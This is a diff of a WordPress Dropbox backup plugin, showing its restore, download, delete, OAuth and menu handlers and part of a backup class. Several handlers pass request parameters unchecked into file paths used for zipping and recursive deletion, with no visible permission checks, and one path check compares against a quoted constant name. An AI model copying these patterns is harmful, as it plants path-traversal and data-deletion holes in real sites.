172
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
173
+ if ($dropbox_options) {
174
+ require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
175
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
176
+ $folder_project = self::getNameProject();
177
+ $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
178
+ if ($dropbox->isAuth()) {
179
+ WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
180
+ $name_backup = isset($_POST['name']) ? trim($_POST['name']) : "";
181
+ $dir_backup = DROPBOX_BACKUP_DIR_BACKUP . "/$name_backup";
182
+ $error = WPAdm_Core::mkdir($dir_backup);
183
+ if (!empty($error)) {
184
+ WPAdm_Core::log($error);
185
+ $res['result'] = WPAdm_Result::WPADM_RESULT_ERROR;
186
+ $res['error'] = $error;
187
+ $res['data'] = array();
188
+ $res['size'] = 0;
189
+
190
+ } else {
191
+ $files = $dropbox->listing("$folder_project/$name_backup");
192
+ if (isset($files['items'])) {
193
+ $n = count($files['items']);
194
+ for($i = 0; $i < $n; $i++) {
195
+ $res = $dropbox->downloadFile("$folder_project/$name_backup/{$files['items'][$i]['name']}", "$dir_backup/{$files['items'][$i]['name']}");
196
+ if ($res != "$dir_backup/{$files['items'][$i]['name']}" && isset($res['text'])) {
197
+ WPAdm_Core::log(langWPADM::get('Error: ' , false) . $res['text'] );
198
+ } else {
199
+ $log = str_replace('%s', $files['items'][$i]['name'], langWPADM::get('Download file (%s) with Dropbox' , false) );
200
+ WPAdm_Core::log($log);
201
+ }
202
+ }
203
+ parent::$type = 'full';
204
+ $backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
205
+ $res = $backup->getResult()->toArray();
206
+ WPAdm_Core::rmdir($dir_backup);
207
+ }
208
+ }
209
+ } else {
210
+ WPAdm_Core::log( langWPADM::get('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"' , false,
211
+ array('%d', '%k', '%s'),
212
+ array( SITE_HOME, $dropbox_options['app_key'], $dropbox_options['app_secret'] ) ) );
213
+ }
214
+ } else {
215
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
216
+ }
217
+ @session_start();
218
+ echo json_encode($res);
219
+ wp_die();
220
+ }
221
+ public static function download()
222
+ {
223
+ if (isset($_REQUEST['backup'])) {
224
+ require_once DRBBACKUP_BASE_DIR . "/class-wpadm-core.php";
225
+ require_once DRBBACKUP_BASE_DIR . '/modules/pclzip.lib.php';
226
+ $backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
227
+ $filename = $_REQUEST['backup'] . ".zip";
228
+ $file = WPAdm_Core::getTmpDir() . "/" . $filename;
229
+ if (file_exists($file)) {
230
+ @unlink($file);
231
+ }
232
+ $archive = new PclZip($file);
233
+ $dir_backup = DROPBOX_BACKUP_DIR_BACKUP . '/' . $_REQUEST['backup'];
234
+
235
+ $backups = array('data' => array(), 'md5' => '');
236
+ if (is_dir($dir_backup)) {
237
+ $i = 0;
238
+ $dir_open = opendir($dir_backup);
239
+ while($d = readdir($dir_open)) {
240
+ if ($d != '.' && $d != '..' && file_exists($dir_backup . "/$d") && substr($d, -3) != "php") {
241
+ $archive->add($dir_backup . "/$d", PCLZIP_OPT_REMOVE_PATH, DROPBOX_BACKUP_DIR_BACKUP );
242
+ }
243
+ }
244
+ }
245
+
246
+
247
+ $now = gmdate("D, d M Y H:i:s");
248
+ header("Expires: Tue, 03 Jul 2001 06:00:00 GMT");
249
+ header("Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate");
250
+ header("Last-Modified: {$now} GMT");
251
+
252
+ // force download
253
+ header("Content-Type: application/force-download");
254
+ header("Content-Type: application/octet-stream");
255
+ header("Content-Type: application/download");
256
+
257
+ // disposition / encoding on response body
258
+ header("Content-Disposition: attachment;filename={$filename}");
259
+ header("Content-Transfer-Encoding: binary");
260
+
261
+ ob_start();
262
+ $df = fopen("php://output", 'w');
263
+ echo file_get_contents($file);
264
+ fclose($df);
265
+ echo ob_get_clean();
266
+ @unlink($file);
267
+ exit;
268
+ }
269
+ }
270
+
271
+ public static function delete_backup()
272
+ {
273
+ if (isset($_POST['backup-type']) ) {
274
+ if ($_POST['backup-type'] == 'local') {
275
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
276
+ $dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $_POST['backup-name'] ;
277
+ $delete = false;
278
+ if (is_dir($dir)) {
279
+ WPAdm_Core::rmdir($dir);
280
+ $delete = true;
281
+ }
282
+ $dir = ABSPATH . WPADM_DIR_NAME . '/' . $_POST['backup-name'] ;
283
+ if (is_dir($dir)) {
284
+ WPAdm_Core::rmdir($dir);
285
+ $delete = true;
286
+ }
287
+ $dir = WPADM_DIR_BACKUP . '/' . $_POST['backup-name'] ;
288
+ if (is_dir($dir)) {
289
+ WPAdm_Core::rmdir($dir);
290
+ $delete = true;
291
+ }
292
+ if ($delete) {
293
+ parent::setMessage( str_replace('%s', $_POST['backup-name'], langWPADM::get('Backup(%s) was deleted', false) ) );
294
+ }
295
+ } elseif ($_POST['backup-type'] == 'dropbox') {
296
+ require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
297
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
298
+ if ($dropbox_options) {
299
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
300
+ $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
301
+ $folder_project = self::getNameProject();
302
+ $res = $dropbox->deleteFile("$folder_project/{$_POST['backup-name']}");
303
+ if ($res['is_deleted'] === true) {
304
+ parent::setMessage( str_replace('%s', $_POST['backup-name'], langWPADM::get('Backup(%s) was deleted', false) ) );
305
+ }
306
+ }
307
+ }
308
+ }
309
+ header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"));
310
+ }
311
+
312
+ protected static function getPluginName()
313
+ {
314
+
315
+ preg_match("|wpadm_wp_(.*)|", __CLASS__, $m);
316
+ return $m[1];
317
+ }
318
+ protected static function getPathPlugin()
319
+ {
320
+ return "wpadm_full_backup_dropbox";
321
+ }
322
+
323
+ public static function dropboxConnect()
324
+ {
325
+ require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
326
+ if (isset($_GET['app_key']) && isset($_GET['app_secret'])) {
327
+ if (empty($_GET['app_key']) && empty($_GET['app_secret'])) {
328
+ $_GET['app_key'] = WPADM_APP_KEY;
329
+ $_GET['app_secret'] = WPADM_APP_SECRET;
330
+ }
331
+ $dropbox = new dropbox($_GET['app_key'], $_GET['app_secret']);
332
+ $_SESSION['dropbox_key'] = $_GET['app_key'];
333
+ $_SESSION['dropbox_secret'] = $_GET['app_secret'];
334
+ $_SESSION['dropbox_request_token'] = $dropbox->getRequestToken();
335
+ echo '<script>window.location.href="' . $dropbox->generateAuthUrl( admin_url('admin-post.php?action=dropboxConnect') ) . '";</script>';
336
+ } elseif (isset($_GET['oauth_token']) && isset($_GET['uid'])) {
337
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
338
+ if ($dropbox_options) {
339
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
340
+ } else {
341
+ $dropbox_options = array();
342
+ add_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode(serialize( $dropbox_options ) ) );
343
+ }
344
+ $dropbox = new dropbox(@$_SESSION['dropbox_key'], @$_SESSION['dropbox_secret']);
345
+ $access_token = $dropbox->getAccessToken($_SESSION['dropbox_request_token']);
346
+ $dropbox_options['app_key'] = @$_SESSION['dropbox_key'] ;
347
+ $dropbox_options['app_secret'] = @$_SESSION['dropbox_secret'] ;
348
+ $dropbox_options['auth_token_secret'] = $access_token;
349
+ $dropbox_options['oauth_token'] = @$_GET['oauth_token'] ;
350
+ $dropbox_options['uid'] = @$_GET['uid'] ;
351
+ update_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode( serialize( $dropbox_options ) ) );
352
+ echo '<script>
353
+ if(window.opener){
354
+ window.opener.connectDropbox(null, null, "'.htmlspecialchars($access_token['oauth_token_secret']).'", "'.htmlspecialchars($access_token['oauth_token']).'", "'.htmlspecialchars($access_token['uid']).'");window.close();
355
+ }else{
356
+ window.location.href="' . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") . '";
357
+ }
358
+ </script>';
359
+ echo '<script>window.close();</script>';exit;
360
+ } elseif (isset($_GET['not_approved'])) {
361
+ if( $_GET['not_approved'] == 'true' ){
362
+ echo '<script>window.close();</script>';exit;
363
+ }
364
+ } else {
365
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' , true, '%d', SITE_HOME) );
366
+ }
367
+ exit;
368
+ }
369
+
370
+ public static function dropbox_backup_create()
371
+ {
372
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
373
+ @session_write_close();
374
+ $log = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
375
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
376
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
377
+ }
378
+ if ( WPAdm_Core::dir_writeble(DROPBOX_BACKUP_DIR_BACKUP) ) {
379
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
380
+ $send_to_dropbox = true;
381
+ if ($dropbox_options) {
382
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
383
+ if (!isset($dropbox_options['app_key'])) {
384
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "App Key" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
385
+ $send_to_dropbox = false;
386
+ }
387
+ if (!isset($dropbox_options['app_secret'])) {
388
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "App Secret" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
389
+ $send_to_dropbox = false;
390
+ }
391
+ if (!isset($dropbox_options['oauth_token'])) {
392
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during file sending to Dropbox: "Auth Token not exist. Files cannot be sent to Dropbox cloud. Please, check your Dropbox settings."' , false, '%d', SITE_HOME) );
393
+ $send_to_dropbox = false;
394
+ }
395
+ } else {
396
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
397
+ $res['type'] = 'local';
398
+ $send_to_dropbox = false;
399
+ }
400
+
401
+ if ($send_to_dropbox) {
402
+ parent::$type = 'full';
403
+ $backup_local = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => 1, 'limit' => 0, 'time' => @$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
404
+ $res = $backup_local->getResult()->toArray();
405
+ $res['md5_data'] = md5( print_r($res, 1) );
406
+ $res['name'] = $backup_local->name;
407
+ $res['time'] = $backup_local->time;
408
+ $res['type'] = 'dropbox';
409
+ $res['counts'] = count($res['data']);
410
+ unset($backup);
411
+ $folder_project = self::getNameProject();
412
+ $backup = new WPAdm_Core(array('method' => "send-to-dropbox",
413
+ 'params' => array('files' => $res['data'],
414
+ 'access_details' => array('key' => $dropbox_options['app_key'],
415
+ 'secret' => $dropbox_options['app_secret'],
416
+ 'token' => $dropbox_options['auth_token_secret'],
417
+ 'dir' => $res['name'],
418
+ 'folder' => $folder_project),
419
+ )
420
+ ),
421
+ 'full_backup_dropbox', WPAdm_Core::$pl_dir) ;
422
+ $result_send = $backup->getResult()->toArray();
423
+ if ($result_send['result'] == 'error') {
424
+ $res = array();
425
+ $res['error'] = $result_send['error'];
426
+ $res['result'] = 'error';
427
+ @rename(WPAdm_Core::getTmpDir() . "/logs2", WPAdm_Core::getTmpDir() . "/logs_error_" . $backup_local->time);
428
+ }
429
+
430
+ WPAdm_Core::rmdir( DROPBOX_BACKUP_DIR_BACKUP . "/{$res['name']}");
431
+ }
432
+ } else {
433
+ $res['result'] = 'error';
434
+ $res['error'] = langWPADM::get('Website "%d" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir".', false, array('%d', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP) );
435
+ $res['data'] = array();
436
+ $res['size'] = 0;
437
+ }
438
+ @session_start();
439
+ echo json_encode($res);
440
+ wp_die();
441
+ }
442
+ public static function getNameProject()
443
+ {
444
+ $folder_project = str_ireplace( array("http://", "https://"), '', home_url() );
445
+ $folder_project = str_ireplace( array( "-", '/', '.'), '_', $folder_project );
446
+ return $folder_project;
447
+ }
448
+
449
+
450
+ public static function wpadm_show_backup()
451
+ {
452
+
453
+ require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
454
+ parent::$type = 'full';
455
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
456
+ if ($dropbox_options) {
457
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
458
+ if (isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && isset($dropbox_options['auth_token_secret'])) {
459
+ $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
460
+ $folder_project = self::getNameProject();
461
+ $backups = $dropbox->listing($folder_project);
462
+ $n = count($backups['items']);
463
+ $data['data'] = array();
464
+ for($i = 0; $i < $n; $i++) {
465
+ $backup = $dropbox->listing($folder_project . "/" . $backups['items'][$i]['name']);
466
+ $data['data'][$i]['name'] = $backups['items'][$i]['name'];
467
+ $data['data'][$i]['size'] = (float)$backup['size'] * 1024 * 1024;
468
+ $data['data'][$i]['dt'] = parent::getDateInName($backups['items'][$i]['name']);
469
+ $data['data'][$i]['count'] = count($backup['items']);
470
+ $data['data'][$i]['type'] = 'dropbox';
471
+ $k = $data['data'][$i]['count'];
472
+ $data['data'][$i]['files'] = '[';
473
+ for($j = 0; $j < $k; $j++) {
474
+ $data['data'][$i]['files'] .= $backup['items'][$i]['name'] . ',';
475
+ }
476
+ }
477
+ }
478
+ }
479
+ if (isset($_GET['pay']) && $_GET['pay'] == 'success') {
480
+ if (!file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
481
+ file_put_contents(WPAdm_Core::getTmpDir() . "/pay_success", 1);
482
+ parent::setMessage( langWPADM::get('', false) );
483
+ }
484
+ }
485
+ if (isset($_GET['pay']) && $_GET['pay'] == 'cancel') {
486
+ parent::setError( langWPADM::get('Checkout was canceled', false) );
487
+ }
488
+ $data_local = parent::read_backups();
489
+ if (isset($data['data'])) {
490
+ $data['data'] = array_merge($data_local['data'], $data['data']);
491
+ $data['md5'] = md5( print_r( $data['data'] , 1 ) );
492
+ } else {
493
+ $data = $data_local;
494
+ }
495
+ if (file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
496
+ $plugin_info = get_plugins("/" . parent::$plugin_name);
497
+ $plugin_version = (isset($plugin_info[parent::$plugin_name . '.php']['Version']) ? $plugin_info[parent::$plugin_name . '.php']['Version'] : '');
498
+ $data_server = parent::sendToServer(
499
+ array(
500
+ 'actApi' => "proBackupCheck",
501
+ 'site' => home_url(),
502
+ 'email' => get_option('admin_email'),
503
+ 'plugin' => parent::$plugin_name,
504
+ 'key' => '',
505
+ 'plugin_version' => $plugin_version
506
+ )
507
+ );
508
+ if (isset($data_server['status']) && $data_server['status'] == 'success' && isset($data_server['key'])) {
509
+ update_option(PREFIX_BACKUP_ . 'pro-key', $data_server['key']);
510
+ if (isset($data_server['url']) && !empty($data_server['url'])) {
511
+ parent::setMessage( str_replace('&s', $data_server['url'], langWPADM::get('The "Dropbox backup & restore RRO" version can be downloaded here <a href="&s">download</a>', false) ) );
512
+ }
513
+ }
514
+ }
515
+ $show = !get_option('wpadm_pub_key') && is_super_admin();
516
+ $error = parent::getError(true);
517
+ $msg = parent::getMessage(true);
518
+ $base_path = DRBBACKUP_BASE_DIR ;
519
+ ob_start();
520
+ require_once $base_path . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "wpadm_show_backup.php";
521
+ echo ob_get_clean();
522
+ }
523
+
524
+
525
+ public static function draw_menu()
526
+ {
527
+ $show = true;
528
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
529
+ if ($dropbox_options) {
530
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
531
+ }
532
+ if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
533
+ if (!is_admin() || !is_super_admin()) {
534
+ $show = false;
535
+ }
536
+ }
537
+ if ($show) {
538
+ $menu_position = '1.9998887771';
539
+ if(self::checkInstallWpadmPlugins()) {
540
+ $page = add_menu_page(
541
+ 'WPAdm',
542
+ 'WPAdm',
543
+ "read",
544
+ 'wpadm_plugins',
545
+ 'wpadm_plugins',
546
+ plugins_url('/img/wpadm-logo.png', dirname( __FILE__ )),
547
+ $menu_position
548
+ );
549
+ add_submenu_page(
550
+ 'wpadm_plugins',
551
+ "Dropbox Full Backup",
552
+ "Dropbox Full Backup",
553
+ 'read',
554
+ 'wpadm_wp_full_backup_dropbox',
555
+ array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup')
556
+ );
557
+ } else {
558
+ $page = add_menu_page(
559
+ 'Dropbox Full Backup',
560
+ 'Dropbox Full Backup',
561
+ "read",
562
+ 'wpadm_wp_full_backup_dropbox',
563
+ array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup'),
564
+ plugins_url('/img/wpadm-logo.png', dirname( __FILE__ ) ),
565
+ $menu_position
566
+ );
567
+
568
+ add_submenu_page(
569
+ 'wpadm_wp_full_backup_dropbox',
570
+ "WPAdm",
571
+ "WPAdm",
572
+ 'read',
573
+ 'wpadm_plugins',
574
+ 'wpadm_plugins'
575
+ );
576
+ }
577
+
578
+ }
579
+ }
580
+ public static function notice()
581
+ {
582
+ if (!isset($_GET['page']) || ( isset($_GET['page']) && $_GET['page'] != 'wpadm_wp_full_backup_dropbox' ) ) {
583
+ if (!file_exists(WPAdm_Core::getTmpDir() . "/notice")) {
584
+ ob_start();
585
+ require_once DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice.php";
586
+ echo ob_get_clean();
587
+ }
588
+ }
589
+ }
590
+ public static function hide_notice()
591
+ {
592
+ file_put_contents(WPAdm_Core::getTmpDir() . "/notice", 1);
593
+ header('location:' . $_SERVER['HTTP_REFERER']);
594
+ exit;
595
+ }
596
+ }
597
+ }
598
+
599
+ ?>
methods/class-wpadm-method-backup-delete.php CHANGED
@@ -1,28 +1,28 @@
1
- <?php
2
- /**
3
- * Delete backup
4
- * Class WPAdm_Method_Backup_Delete
5
- */
6
- if (!class_exists('WPAdm_Method_Backup_Delete')) {
7
- class WPAdm_Method_Backup_Delete extends WPAdm_Method_Class {
8
- public function getResult()
9
- {
10
- $backups_dir = realpath(ABSPATH . '/wpadm_backups/' . $this->params['name']);
11
- if(strpos($backups_dir, DIRECTORY_SEPARATOR . 'wpadm_backups' . DIRECTORY_SEPARATOR) === false || !is_dir($backups_dir)) {
12
- $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
13
- $this->result->setError('Wrong name backup');
14
- } else {
15
- if (is_dir($backups_dir)) {
16
- WPAdm_Core::rmdir($backups_dir);
17
- if (!is_dir($backups_dir)) {
18
- $this->result->setResult = WPAdm_result::WPADM_RESULT_SUCCESS;
19
- } else {
20
- $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
21
- $this->result->setError('Failed to remove backup');
22
- }
23
- }
24
- }
25
- return $this->result;
26
- }
27
- }
28
  }
1
+ <?php
2
+ /**
3
+ * Delete backup
4
+ * Class WPAdm_Method_Backup_Delete
5
+ */
6
+ if (!class_exists('WPAdm_Method_Backup_Delete')) {
7
+ class WPAdm_Method_Backup_Delete extends WPAdm_Method_Class {
8
+ public function getResult()
9
+ {
10
+ $backups_dir = realpath(DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->params['name']);
11
+ if(strpos($backups_dir, DIRECTORY_SEPARATOR . 'DROPBOX_BACKUP_DIR_NAME' . DIRECTORY_SEPARATOR) === false || !is_dir($backups_dir)) {
12
+ $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
13
+ $this->result->setError('Wrong name backup');
14
+ } else {
15
+ if (is_dir($backups_dir)) {
16
+ WPAdm_Core::rmdir($backups_dir);
17
+ if (!is_dir($backups_dir)) {
18
+ $this->result->setResult = WPAdm_result::WPADM_RESULT_SUCCESS;
19
+ } else {
20
+ $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
21
+ $this->result->setError('Failed to remove backup');
22
+ }
23
+ }
24
+ }
25
+ return $this->result;
26
+ }
27
+ }
28
  }
methods/class-wpadm-method-backup-list.php CHANGED
@@ -1,45 +1,45 @@
1
- <?php
2
- /**
3
- * Return a list of backups
4
- * Class WPAdm_Method_Exec
5
- */
6
- if (!class_exists('WPAdm_Method_Backup_List')) {
7
- class WPAdm_Method_Backup_List extends WPAdm_Method_Class {
8
- public function getResult()
9
- {
10
- $backups_dir = ABSPATH . '/wpadm_backups/';
11
- $dirs = glob($backups_dir . '*');
12
-
13
- $backups = array();
14
- foreach($dirs as $dir) {
15
- if (preg_match("|(.*)\-(.*)\-(.*)|", $dir, $mm)) {
16
- $tmp = explode('/', $dir);
17
- $name = array_pop($tmp);
18
- list($y,$m,$d, $h,$i) = explode('_', $mm[3]);
19
- $dt = "$y-$m-$d $h:$i";
20
- $backup = array(
21
- 'name' => $name,
22
- 'type' => $mm[2],
23
- 'dt' => $dt,
24
- );
25
- $files = glob($dir . '/*.zip');
26
- $size = 0;
27
- foreach($files as $k=>$v) {
28
- $size += (int)filesize($v);
29
- $files[$k] = str_replace(ABSPATH, '', $v);
30
- }
31
- $backup['files'] = $files;
32
- $backup['size'] = $size;
33
- if ($size > 0) {
34
- $backups[] = $backup;
35
- }
36
-
37
- }
38
- }
39
- $this->result->setData($backups);
40
- $this->result->setResult(WPAdm_result::WPADM_RESULT_SUCCESS);
41
- return $this->result;
42
- }
43
-
44
- }
45
  }
1
+ <?php
2
+ /**
3
+ * Return a list of backups
4
+ * Class WPAdm_Method_Exec
5
+ */
6
+ if (!class_exists('WPAdm_Method_Backup_List')) {
7
+ class WPAdm_Method_Backup_List extends WPAdm_Method_Class {
8
+ public function getResult()
9
+ {
10
+ $backups_dir = DROPBOX_BACKUP_DIR_NAME . '/';
11
+ $dirs = glob($backups_dir . '*');
12
+
13
+ $backups = array();
14
+ foreach($dirs as $dir) {
15
+ if (preg_match("|(.*)\-(.*)\-(.*)|", $dir, $mm)) {
16
+ $tmp = explode('/', $dir);
17
+ $name = array_pop($tmp);
18
+ list($y,$m,$d, $h,$i) = explode('_', $mm[3]);
19
+ $dt = "$y-$m-$d $h:$i";
20
+ $backup = array(
21
+ 'name' => $name,
22
+ 'type' => $mm[2],
23
+ 'dt' => $dt,
24
+ );
25
+ $files = glob($dir . '/*.zip');
26
+ $size = 0;
27
+ foreach($files as $k=>$v) {
28
+ $size += (int)filesize($v);
29
+ $files[$k] = str_replace(ABSPATH, '', $v);
30
+ }
31
+ $backup['files'] = $files;
32
+ $backup['size'] = $size;
33
+ if ($size > 0) {
34
+ $backups[] = $backup;
35
+ }
36
+
37
+ }
38
+ }
39
+ $this->result->setData($backups);
40
+ $this->result->setResult(WPAdm_result::WPADM_RESULT_SUCCESS);
41
+ return $this->result;
42
+ }
43
+
44
+ }
45
  }
methods/class-wpadm-method-backup.php CHANGED
@@ -1,451 +1,407 @@
1
- <?php
2
- /**
3
- * Бэкап сайта
4
- * Class WPadm_Method_Backup
5
- */
6
- if (!class_exists('WPadm_Method_Backup')) {
7
- class WPadm_Method_Backup extends WPAdm_Method_Class {
8
- /**
9
- * Уникальный идентификатор текущего объекта
10
- * @var String
11
- */
12
- private $id;
13
-
14
- /**
15
- * Unixtimestamp, когда был запущен метод
16
- * @var Int
17
- */
18
- private $stime;
19
-
20
- /**
21
- * @var WPAdm_Queue
22
- */
23
- private $queue;
24
-
25
- /**
26
- * @var string
27
- */
28
- private $dir;
29
-
30
- /**
31
- * @var string
32
- */
33
- private $tmp_dir;
34
-
35
- /**
36
- * Тип бэкапа
37
- * @var string [full|db]
38
- */
39
- private $type = 'full';
40
-
41
- private $name = '';
42
-
43
- public function __construct($params) {
44
- parent::__construct($params);
45
- $this->init(
46
- array(
47
- 'id' => uniqid('wpadm_method_backup__'),
48
- 'stime' => time(),
49
- 'type' => $params['type'],
50
- )
51
- );
52
-
53
-
54
- //папка для временных файлов
55
- // $this->tmp_dir = WPAdm_Core::getTmpDir() . '/' . $this->id;
56
- // WPAdm_Core::mkdir($this->tmp_dir);
57
-
58
- $name = get_option('siteurl');
59
-
60
- $name = str_replace("http://", '', $name);
61
- $name = str_replace("https://", '', $name);
62
- $name = preg_replace("|\W|", "_", $name);
63
- $name .= '-' . $this->type . '-' . date("Y_m_d_H_i");
64
- $this->name = $name;
65
-
66
- // папка для бэкапа
67
- $this->dir = ABSPATH . '/wpadm_backups/' . $this->name;
68
- WPAdm_Core::mkdir(ABSPATH . '/wpadm_backups/');
69
- WPAdm_Core::mkdir($this->dir);
70
- }
71
-
72
- public function getResult()
73
- {
74
- $errors = array();
75
-
76
- $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
77
- $this->result->setError('');
78
-
79
-
80
- #ОТЛАДКА, нужно удалить
81
- //todo: удалить
82
- unlink(dirname(__FILE__) . '/../tmp/log.log');
83
- #конец отладки
84
-
85
- WPAdm_Core::log('Начинаем бэкап');
86
-
87
- # СОЗДАДИМ ДАМП БД
88
- WPAdm_Core::log('Начинаем создание дампа БД');
89
- // добавим в очередь создание бэкапа БД и выполним
90
- WPAdm_Core::mkdir(ABSPATH . '/wpadm_backup');
91
- $mysql_dump_file = ABSPATH . '/wpadm_backup/mysqldump.sql';
92
- if (file_exists($mysql_dump_file)) {
93
- unlink($mysql_dump_file);
94
- }
95
- $wp_mysql_params = $this->getWpMysqlParams();
96
-
97
- if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
98
- WPAdm_Core::log('Оптимизцация таблиц БД');
99
- $commandContext = new WPAdm_Command_Context();
100
- $commandContext ->addParam('command','mysqloptimize')
101
- ->addParam('host', $wp_mysql_params['host'])
102
- ->addParam('db', $wp_mysql_params['db'])
103
- ->addParam('user', $wp_mysql_params['user'])
104
- ->addParam('password', $wp_mysql_params['password']);
105
- $this->queue->clear()
106
- ->add($commandContext);
107
- unset($commandContext);
108
- }
109
-
110
- $commandContext = new WPAdm_Command_Context();
111
- $commandContext ->addParam('command','mysqldump')
112
- ->addParam('host', $wp_mysql_params['host'])
113
- ->addParam('db', $wp_mysql_params['db'])
114
- ->addParam('user', $wp_mysql_params['user'])
115
- ->addParam('password', $wp_mysql_params['password'])
116
- ->addParam('tables', '')
117
- ->addParam('to_file', $mysql_dump_file);
118
- $res = $this->queue->add($commandContext)
119
- ->save()
120
- ->execute();
121
-
122
- if (!$res) {
123
- WPAdm_Core::log('Дамп БД не создан('.$this->queue->getError().')');
124
- $errors[] = 'MySQL error: '.$this->queue->getError();
125
- } elseif (0 == (int)filesize($mysql_dump_file)) {
126
- $errors[] = 'MySQL error: empty dump-file';
127
- WPAdm_Core::log('Дамп БД не создан(пустой файл)');
128
- } else {
129
- WPAdm_Core::log('Дамп БД создан('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
130
- }
131
- unset($commandContext);
132
-
133
-
134
- #ЗАРХИВИРУЕМ ФАЙЛЫ
135
- WPAdm_Core::log('Начинаем подготовку списка файлов');
136
- // список файлов для архивации
137
- if ($this->type == 'full') {
138
- $files = $this->createListFilesForArchive();
139
- } else {
140
- $files = array();
141
- }
142
- if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
143
- $files[] = $mysql_dump_file;
144
- }
145
-
146
- if (empty($files)) {
147
- $errors[] = 'Empty list files';
148
- }
149
-
150
- // разабьем список файлов на списки по 170кбайт,
151
- // чтобы разбить одну большую задачу на маленькие
152
- $files2 = array();
153
- $files2[0] = array();
154
- $i = 0;
155
- $size = 0;
156
- foreach($files as $f) {
157
- if ($size > 170000) {//~170kbyte
158
- $i ++;
159
- $size = 0;
160
- $files2[$i] = array();
161
- }
162
- $f_size =(int)filesize($f);
163
- if ($f_size == 0 || $f_size > 1000000) {
164
- WPAdm_Core::log('file '. $f .' size ' . $f_size);
165
- }
166
- $size += $f_size;
167
- $files2[$i][] = $f;
168
- }
169
-
170
- WPAdm_Core::log('Список файлов подготовлен');
171
- // подготовим очередь к выполнению
172
- $this->queue->clear();
173
-
174
- foreach($files2 as $files) {
175
- $commandContext = new WPAdm_Command_Context();
176
- $commandContext ->addParam('command','archive')
177
- ->addParam('files', $files)
178
- ->addParam('to_file', $this->dir . '/'.$this->name)
179
- ->addParam('max_file_size', 900000)
180
- ->addParam('remove_path', ABSPATH);
181
-
182
- $this->queue->add($commandContext);
183
- unset($commandContext);
184
- }
185
- WPAdm_Core::log('Начинаем архивацию файлов');
186
- // сохраним и выполним
187
